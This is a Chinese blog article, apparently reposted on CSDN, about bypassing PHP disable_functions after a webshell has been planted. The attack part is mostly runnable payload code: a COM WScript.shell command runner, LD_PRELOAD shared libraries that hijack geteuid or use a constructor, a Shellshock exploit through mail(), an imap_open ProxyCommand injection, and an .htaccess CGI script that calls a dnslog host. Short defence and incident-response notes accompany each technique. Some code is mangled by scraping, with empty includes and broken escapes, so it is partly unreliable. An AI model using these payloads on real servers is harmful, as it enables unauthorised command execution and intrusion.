php exec 环境变量_奇怪的PHP知识增加了

本文探讨了在安全防护增强的背景下,如何解决PHP webshell无法执行命令的问题及相应的防御措施。重点介绍了利用COM组件、LD_PRELOAD、Bash破壳漏洞以及imap_open函数的绕过方法,并给出了应急处置建议。
摘要由CSDN通过智能技术生成

920dded5c616b8557e3a647f6c4a42c7.gif

文章来源:酒仙桥六号部队

前言

随着安全防护能力的提升,在渗透测试的过程中总会遇到阻碍,今天来看看PHP webshell无法执行命令该怎么解决,以及如何防御这些绕过手段,做到未雨绸缪。

背景

在渗透过程中拿到一个webshell是一个标志性的胜利,为我们后续的进展带来了无限可能。但是,what!怎么一条命令都执行不了?

a0c5aa08783768fc9f38d25dc638c43e.png

df21846e1de1210f0f43078071b3aafc.png

此时拿shell的喜悦已经没有了,这是个假shell?? 赶紧冷静了一下看看文件管理是正常的,那么传一个phpinfo看一下什么情况。

8c061808a7a3002e62677b434e73726b.png

原来是disable_functions禁用了很多命令执行函数,导致拿到webshell无法执行命令。好吧算你狠。 但是这怎么能挡住我们勤劳勇敢的安全人员,何况PHP是世界上最好的语言,我们一定有办法的。

a85873889962a68d3ecb465c47068418.png

可以利用的思路有以下五种:
  • 寻找没有被禁用的函数
  • Windows中调用COM组件执行命令
  • Linux系统通过LD_PRELOAD加载自定义的动态库
  • 利用Bash破壳(CVE-2014-6271)漏洞改变环境限制
  • 利用imap_open()函数的特性绕过
  • 通过mod_cgi 模式绕过php.ini的限制执行脚本
接下来我们来看看如何绕过disable_functions执行命令。

一. 寻找未禁用的漏网之鱼函数

PHP中执行命令的函数有:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,通常会有漏网之鱼,我们可以尝试寻找一些偏僻没有被禁用的函数如proc_open()、pcntl_exec()等。

二. windows中调用COM组件执行命令

环境要求:

1.php.ini中已经开启 com.allow_dcom、extension=php_com_dotnet.dll

9621cbc2eaa4a2d83d041cbf11b06ddc.png

4c726392ffb3871ad829a2f6ee17c140.png

2.在php/ext/里面存在php_com_dotnet.dll这个文件

9edcceda20c7d71d3724804bc2c122c2.png

利用原理: 在Windows环境中PHP中的COM()函数可以创建系统组件对象来运行系统命令。 上传com_rce.php文件,内容如下:
<?php $command = $_GET['cmd'];$wsh = **new** COM('WScript.shell'); // 生成一个COM对象Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
利用效果:

0ebf050e2ba23f8c082d2c2b6c5be110.png

防御方法:
  1. Windows的COM组件可能会被用来绕过UAC、disable_functions等,我们需要检查PHP的配置文件中com.allow_dcom是否为false。
  2. 删除php/ext/下的php_com_dotnet.dll,防止被恶意利用。

三. Linux中利用LD_PRELOAD绕过

什么是LD_PRELOAD?

LD_PRELOAD是Linux系统的一个环境变量,它的加载优先级最高,可以用来覆盖正常的函数库。我们可以通过LD_PRELOAD加载我们写的函数库,来覆盖系统中原有的一些函数达到执行命令的效果。AntSword中的disable_functions插件原理也是如此。

3.1 利用mail函数劫持getuid()

环境要求: 1.Linux系统安装并启用了sendmail程序。

6135217eff5f7f149215dd7094d127e6.png

9821e855722e8932c1181948f6299b8a.png

2.error_log()和mail()函数没有全被禁用。 利用原理: php的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail、/usr/sbin/postdrop,而/usr/sbin/sendmail会调用getuid()。那么我们通过LD_PRELOAD劫持getuid函数,然后调用mail函数执行我们生成的恶意函数库中的getuid函数。 重写的getuid()函数test.c。
#include #include #include int geteuid() {  const char* cmdline = getenv("EVIL_CMDLINE");  if (getenv("LD_PRELOAD") == NULL) { return 0; }  unsetenv("LD_PRELOAD");  system(cmdline);  }
用 gcc -shared -fPIC test.c -o test.so将test.c编译为动态链接库test.so。 gituid.php 这里用了putenv()函数将test.so加入环境变量。
<?php echo "

example:

http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "

output:
" . nl2br(file_get_contents($out_path))

. ""; unlink($out_path); ?> 利用效果:

888440a010d8cd702aa3d4bb0011923d.png

3.2 劫持启动函数

环境要求: Linux系统 利用原理: 上面的方法需要通过LD_PRELOAD劫持一个系统函数来实现RCE,如果sendmail函数被禁用了呢?如果能找到一个方式在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。而C++ 的构造函数就是如此。 向目标机器上传bypass_disablefunc.c:
#define _GNU_SOURCE  #include #include #include extern char** environ;  __attribute__ ((__constructor__)) void preload (void)  {  // get command line options and arg  const char* cmdline = getenv("EVIL_CMDLINE");  // unset environment variable LD_PRELOAD.  // unsetenv("LD_PRELOAD") no effect on some  // distribution (e.g., centos), I need crafty trick.  int i;  for (i = 0; environ[i]; ++i) {  if (strstr(environ[i], "LD_PRELOAD")) {  environ[i][0] = '0';  }  }  // executive command  system(cmdline);  }
接着用以下语句编译C文件为共享对象文件: gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so bypass_disablefunc.php
<?php echo "

example:

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "

output:
" . nl2br(file_get_contents($out_path))

. ""; unlink($out_path); ?> 利用效果:

a8185eca62bf0fc01d1ce2e31413aa91.png

防御手段:
  1. 这个方法需要上传so文件和php脚本,如果正确配置open_basedir,限制目录的读写、执行权限可以防范这种攻击。

四. 利用Bash破壳(CVE-2014-6271)漏洞

环境要求:

Linux中Bash 版本小于等于4.3,且存在破壳漏洞 可以执行“env x='() { :;}; echo vulnerable' bash -c "echo this is a test"”来测试是否存在破壳漏洞,如果存在会输出 vulnerable this is a test

e5fb36b3c1f1ff920ad6d6992e3195a9.png

利用原理: 存在Bash破壳(CVE-2014-6271)的Linux服务器向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,可利用此漏洞改变或绕过环境限制。mail函数的第五个参数会被交给popen()执行, 如果系统默认sh是bash,popen()会派生bash进程,进而可利用破壳漏洞执行命令。 上传shellshock.php:
<?php function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283  $tmp = tempnam(".","data");  putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");  mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail  $output = @file_get_contents($tmp);  @unlink($tmp);  if($output != "") return $output;  else return "No output, or not vuln.";  }  echo shellshock($_REQUEST["cmd"]);  ?>
利用效果:

0121b381b3c2f68857b68a5ca611255a.png

防御手段: Bash破壳漏洞在2014年爆出后影响了大部分Linux系统。将Linux的bash升级到最新版本可防御这种攻击。
  1. 利用imap_open函数的特性绕过(CVE-2018-19518)。
环境要求:
  1. 安装了PHP的imap扩展。
  2. php.ini中开启imap.enable_insecure_rsh选项为On。
利用原理: imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,可以发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。 上传imap_bypass.php:
<?php error_reporting(0);  if (!function_exists('imap_open')) {  die("no imap_open function!");  }  $server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . "|base64t-d|sh}";  //$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';  imap_open('{' . $server . ':143/imap}INBOX', '', ''); // orvar_dump("nnError: ".imap_last_error());  sleep(5);  echo file_get_contents("/tmp/cmd_result");  ?>
利用效果:

1f91bc0d1b420f08e89ef3d3a9a4247e.png

防御方法:
  1. 如果业务没有用到imap相关的函数可以在php.ini添加禁用函数:imap_open()、imap_mail()、imap_rimap()
  2. 升级PHP版本,官方针对7.1.x在7.1.25版本发布时修复了 CVE-2018-19518 漏洞。
  3. 利用Apache mod_cgi 模式绕过 php.ini 中的限制。
环境要求: 1.apache服务加载了cgi_module模块,在apache的配置文件中有如下内容:LoadModule cgi_module modules/mod_cgi.so 2.当前目录可以上传并解析.htaccess文件,配置文件中应该写了“AllowOverride all”

f6fa5581960a791e99f016d1f26a401a.png

3.环境中安装了python(其他语言环境也可以尝试)。 利用原理: 看到这里我估计大家都想到了,没错就是通过修改.htaccess文件让CGI解析python脚本执行系统命令。 .htaccess内容如下:
AddHandler cgi-script .x
Python.x内容如下:\#!F:\\Python38\\python.exeimport osos.system("ping hbztiu.dnslog.cn")\#参数改为想要执行的命令
利用效果:

c43a147dc9b4b893d8b15ef8e7e70810.png

防御方法: .htaccess文件是Apache下特有的配置文件,没有好的防御方法。如果程序没有用到这个文件就在PHP配置文件中禁用mod_cgi和.htaccess。

五. 应急处置方法

当我们的服务器被遭受了上面的攻击后应该如何排查处置呢?

1.上面的攻击方法需要在服务器上传文件,可以根据这些关键字在服务器上筛选可疑文件:WScript.shell、putenv、LD_PRELOAD、geteuid、imap_open。 2.检查PHP配置文件和.htaccess是否被更改、增加了恶意的配置。 3.检查bash等系统组件是否存在漏洞被结合其他漏洞利用了。

六. 总结

未知攻焉知防,作为安全人员我们需要了解新的攻击方法,也需要了解怎么去防范这种攻击。攻防相互促进,才能更上一层楼。

72486e1c6ccac6cc56a8d5a4c80ae5fd.png

推荐文章++++

2b41ca713f3cd09edcc6a586caa505ee.png

*PHP代码审计入门笔记合集(共20篇)

*项目实战 | 记一次对某猥琐PHP后门的爆菊

*PHP后门隐藏技巧

76bee7358126af19e178456ff1a4af81.png

24f0dcbbad02c15d54058a12f9b43874.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值